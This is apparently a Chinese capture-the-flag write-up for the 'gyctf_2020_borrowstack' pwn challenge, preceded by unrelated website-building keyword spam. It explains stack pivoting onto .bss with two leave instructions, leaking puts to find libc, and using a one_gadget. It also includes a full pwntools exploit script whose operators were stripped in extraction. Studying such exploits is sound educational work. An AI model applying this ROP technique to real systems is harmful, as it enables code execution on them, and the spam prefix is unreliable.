武侯区网站建设,普通门户网站开发价格,wordpress怎么找到php文件路径,扁平化风格网站模板这是一题栈迁移的题目#xff0c;先看看保护#xff1a; 黑盒测试#xff1a; 用户可输入两次内容#xff0c;接着看看IDA中具体程序流程#xff1a; 我们看到溢出内容只有0x10的空间给我们布局#xff0c;这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地…这是一题栈迁移的题目先看看保护 黑盒测试 用户可输入两次内容接着看看IDA中具体程序流程 我们看到溢出内容只有0x10的空间给我们布局这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西首先我们需要知道libc的基地址因此我们需要通过puts函数来泄露。我们先看看最初栈的布局
此时rip指向leave 栈的内容 leave指令做两件事mov rsp,rbppop rbp.紧接着就是执行ret指令。
因此我们的思路明确了需要覆盖掉old_rbp图中手误大家理解就行和返回地址。
old_rbp覆盖成我们的bss段让rbp指过去接着返回地址需要再调用一次leave。
问(为何栈迁移需要两次调用leave)
答第一次调用是控制rbp到达想去的地方第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了不明白可以好好理解leave指令干的两件事 因此我们的exp就能这样写了
from pwn import *#ioremote()
ioprocess(./gyctf_2020_borrowstack)
context.log_leveldebug
elfELF(./gyctf_2020_borrowstack)
libc ELF(/lib/x86_64-linux-gnu/libc-2.23.so)puts_pltelf.plt[puts]
puts_gotelf.got[puts]
bank0x0601080
leave0x400699
pop_rdi0x400703 # ROPgadget --binary gyctf_2020_borrowstack --only pop|ret | grep rdi
main0x0400626
ret0x4004c9gdb.attach(io)
io.recvuntil(u want)
pl1ba*0x60p64(bank)p64(leave) #control rsp - .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil(now!)
pl2p64(ret)*20p64(pop_rdi)p64(puts_got)p64(puts_plt)p64(main) #leak puts_addr
io.send(pl2)io.recvline()puts_addu64(io.recv(6).ljust(8,b\x00))
print(!!!,hex(puts_add))
libc_baseputs_add-0x6F6A0
one_gadgetlibc_base0x4527a
pl3ba*0x60bbbbbbbbp64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send(a)io.interactive()
下面我们看下步骤好的栈布局 bss段上的内容 此时劫持完rsp后效果是这样的 接下来的操作基本都是pop因此rsp是从低地址到高地址跑每次poprsp8所以我们顺序布局就可以。
后续的操作就很简单通过泄露的puts函数地址计算出libc的基地址当程序再次回到主函数时直接将栈上的返回地址覆盖成one_gadget拿到权限。
puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下